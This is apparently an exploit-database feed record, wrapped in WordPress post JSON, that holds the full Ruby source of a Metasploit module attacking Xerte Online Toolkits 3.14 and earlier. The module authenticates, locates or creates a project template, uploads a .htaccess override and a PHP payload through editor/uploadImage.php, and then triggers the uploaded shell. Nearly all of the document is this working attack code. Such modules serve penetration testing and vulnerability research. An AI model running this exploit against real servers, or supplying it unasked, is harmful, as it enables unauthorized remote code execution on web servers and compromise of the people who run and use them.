{“lastseen”:”2026-02-13T19:28:04″,”description”:”This module exploits the user template file import function’s unrestricted file upload in versions 3.14 and earlier to upload and execute a shell. This targets editor\/uploadImage.php. This has only been tested in implementations where the…”,”published”:”2026-02-13T18:59:17″,”modified”:”2026-02-13T18:59:17″,”type”:”metasploit”,”title”:”Xerte Online Toolkits Arbitrary File Upload – Upload Image”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-XERTE_AUTHENTICATED_RCE_UPLOADIMAGE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::FileDropper\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Xerte Online Toolkits Arbitrary File Upload – Upload Image’,\\n ‘Description’ =\\u003e %q{\\n This module exploits the user template file import function’s unrestricted\\n file upload in versions 3.14 and earlier to upload and execute a shell.\\n This targets editor\/uploadImage.php.\\n This has only been tested in implementations where the authentication type is \\”Db\\”.\\n\\n OPSEC\\n – if the user is logged in elsewhere, they may experience interruptions\\n – several requests sent to the server and activity is logged\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Brandon Lester’\\n ],\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/blog.haicen.me\/posts\/xerte-online-toolkits\/’],\\n [‘URL’, ‘https:\/\/www.xerte.org.uk\/index.php\/en\/news\/blog\/80-news\/357-xerte-3-13-en-3-14-important-security-update-now-available’]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP’, {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP\\n }\\n ]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-08-04’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘The path of a xerte installation’, ‘\/xerteonlinetoolkits’]),\\n OptString.new(‘USERNAME’, [ true, ‘The username to authenticate as’, ‘admin’ ]),\\n OptString.new(‘PASSWORD’, [ true, ‘The password for the specified username’, ‘admin’ ])\\n ]\\n )\\n end\\n\\n def login\\n print_status(‘Attempting to authenticate…’)\\n res = send_request_cgi(\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/’),\\n ‘method’ =\\u003e ‘POST’,\\n ‘vars_post’ =\\u003e {\\n ‘login’ =\\u003e datastore[‘USERNAME’],\\n ‘password’ =\\u003e datastore[‘PASSWORD’]\\n },\\n ‘keep_cookies’ =\\u003e true\\n )\\n\\n unless (res\\u0026.code == 200 || (res\\u0026.code == 302 \\u0026\\u0026 res.headers[‘Location’] == ‘management.php’)) \\u0026\\u0026 res.get_cookies.include?(‘PHPSESSID’)\\n fail_with(Failure::NoAccess, ‘Failed to authenticate with the target.’)\\n end\\n print_good(‘Authentication successful.’)\\n end\\n\\n def check\\n print_status(‘Performing check’)\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘website_code’, ‘php’, ‘language’, ‘import_language.php’)\\n })\\n if res\\u0026.code == 200\\n if res.body.include?(‘No valid language definition found in the file!’)\\n return Exploit::CheckCode::Vulnerable\\n else\\n return Exploit::CheckCode::Safe\\n end\\n end\\n return Exploit::CheckCode::Safe\\n end\\n\\n def trigger_payload\\n print_good(\\”Triggering shell at #{@web_path}\\”)\\n # using for loop with the range\\n shell_uri = @web_path.gsub(\/.*#{target_uri.path}\/, ”) # gsub(\/\\\\.*${target_uri.path()}\\\\\/, \\”\\”)\\n send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, shell_uri, ‘media’, php_filename)\\n })\\n end\\n\\n def upload_payload(my_payload, filename)\\n # construct the payload and upload\\n mime = Rex::MIME::Message.new\\n mime.add_part(my_payload, ‘image\/png’, nil,\\n %(form-data; name=\\”upload\\”; filename=#{filename}))\\n\\n # web path will contain the full address, like `http:\/\/127.0.0.1:8180\/xerteonlinetoolkits\/USER-FILES\/3-reguser-Nottingham\/` so trim it\\n mime.add_part(@media_path.gsub(%r{media\/$}, ”), nil, nil, ‘form-data; name=\\”uploadPath\\”‘)\\n mime.add_part(@web_path.gsub(%r{media\/$}, ”), nil, nil, ‘form-data; name=\\”uploadURL\\”‘)\\n\\n # mediapath should be something like `\/var\/www\/html\/xerteonlinetoolkits\/USER-FILES\/3-reguser-Nottingham\/`\\n register_file_for_cleanup(\\”#{@media_path}#{php_filename}\\”)\\n register_file_for_cleanup(\\”#{@media_path}.htaccess\\”)\\n\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/editor\/uploadImage.php’),\\n ‘headers’ =\\u003e { ‘Content-Type’ =\\u003e \\”multipart\/form-data; boundary=#{mime.bound}\\” },\\n ‘data’ =\\u003e mime.to_s\\n )\\n if res \\u0026\\u0026 res.code.to_i == 200 \\u0026\\u0026 res.body.include?(‘Something went wrong while trying to uplod file!’)\\n fail_with(Failure::UnexpectedReply, ‘payload was not uploaded.’)\\n end\\n end\\n\\n def delete_lockfile(template_id)\\n # The previous step made a get request to the template, effectively locking it.\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘edithtml.php’),\\n ‘vars_get’ =\\u003e {\\n ‘template_id’ =\\u003e template_id.to_s\\n },\\n ‘vars_post’ =\\u003e {\\n ‘lockfile_clear’ =\\u003e ‘delete_lockfile’\\n }\\n\\n })\\n html = res.get_html_document\\n vprint_status(\\”Deleted lockfile for #{template_id}\\”)\\n variable_block = html.at(‘[text()*=\\”mediavariable=\\”]’).text\\n parse_template(variable_block)\\n end\\n\\n def parse_template(template)\\n # extract important variables from the template\\n vprint_status(‘Parsing template’)\\n template.each_line do |line|\\n if line \\u0026\\u0026 line.include?(‘mediavariable=’)\\n @media_path = line.split(‘\\”‘)[1]\\n elsif line \\u0026\\u0026 line.include?(‘rlourlvariable’)\\n @web_path = line.split(‘\\”‘)[1]\\n elsif line \\u0026\\u0026 line.include?(‘template_id’)\\n @template_id = line.split(‘\\”‘)[1]\\n elsif line \\u0026\\u0026 line.include?(‘path = \\”‘)\\n line = line.strip\\n @template_path = line.split(‘\\”‘)[1]\\n end\\n end\\n vprint_status(\\”Found media: #{@media_path}\\”) unless @media_path.blank?\\n vprint_status(\\”Found web path: #{@web_path}\\”) unless @web_path.blank?\\n vprint_status(\\”Found template: #{@template_id}\\”) unless @template_id.blank?\\n end\\n\\n def find_valid_template\\n # Iterates template ID’s 1-20 to see if any exist and if the user has access.\\n found_template = false\\n for template_id in 1..20 do\\n vprint_line(\\”Checking template ID #{template_id}\\”)\\n res = send_request_cgi({ # this causes the template to become locked\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/edithtml.php’),\\n ‘vars_get’ =\\u003e {\\n ‘template_id’ =\\u003e template_id.to_s\\n }\\n })\\n if res\\u0026.code == 200\\n if res.body.to_s.include?(‘This project is currently locked as it is already being edited by you!’)\\n delete_lockfile(template_id)\\n found_template = true\\n print_status(\\”Found mediavariable at #{template_id}\\”)\\n break\\n elsif res.body.to_s.include?(‘Invalid template_id (could not find in DB)’)\\n vprint_line(\\”Template #{template_id} doesn’t exist\\”)\\n elsif res.body.to_s.include?(‘Permission denied’)\\n vprint_line(\\”Template #{template_id} belongs to someone else\\”)\\n else\\n vprint_line(\\”Template ID #{template_id} is not locked\\”)\\n delete_lockfile(template_id)\\n found_template = true\\n print_status(\\”Found mediavariable at #{template_id}\\”)\\n break\\n end\\n else\\n print_bad(\\”Error with template #{template_id}\\”)\\n end\\n end\\n\\n unless found_template\\n # If no projects are found, create one\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘website_code’, ‘php’, ‘templates’, ‘new_template.php’),\\n ‘vars_post’ =\\u003e {\\n ‘tutorialid’ =\\u003e ‘Nottingham’,\\n ‘templatename’ =\\u003e ‘Nottingham’,\\n ‘tutorialname’ =\\u003e Rex::Text.rand_text_alpha(8),\\n ‘folder_id’ =\\u003e ”\\n }\\n })\\n\\n if res\\u0026.code == 200 \\u0026\\u0026 !res.body.to_s.include?(‘FAILED-Failed to create new template record’)\\n # Ensure the project was created\\n template_id = res.body.to_s.split(‘,’)[0]\\n print_status(\\”Created template (id: #{template_id})\\”)\\n delete_lockfile(template_id)\\n found_template = true\\n end\\n end\\n # If for some reason, the previous project creation failed, it’s probably best to create one manually.\\n fail_with(Failure::NotFound, ‘User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.’) unless found_template\\n end\\n\\n def exploit\\n login\\n find_valid_template\\n # this exploit won’t work unless a .htaccess file is also uploaded\\n upload_payload(htaccess_payload, ‘.htaccess’)\\n upload_payload(payload.encoded, php_filename)\\n print_status(‘Uploaded the PHP Payload file’)\\n trigger_payload\\n end\\n\\n def php_filename\\n @php_filename ||= Rex::Text.rand_text_alpha(8) + ‘.php’\\n end\\n\\n def htaccess_payload\\n \\u003c\\u003c~PAYLOAD\\n \\u003cIfModule mod_rewrite.c\\u003e\\n RewriteEngine Off\\n \\u003c\/IfModule\\u003e\\n PAYLOAD\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/xerte_authenticated_rce_uploadimage.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/xerte_authenticated_rce_uploadimage\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-13T19:28:04″,”description”:”This module exploits the user template file import function’s unrestricted file upload in versions 3.14 and earlier to upload and execute a shell. This targets…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-40806","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n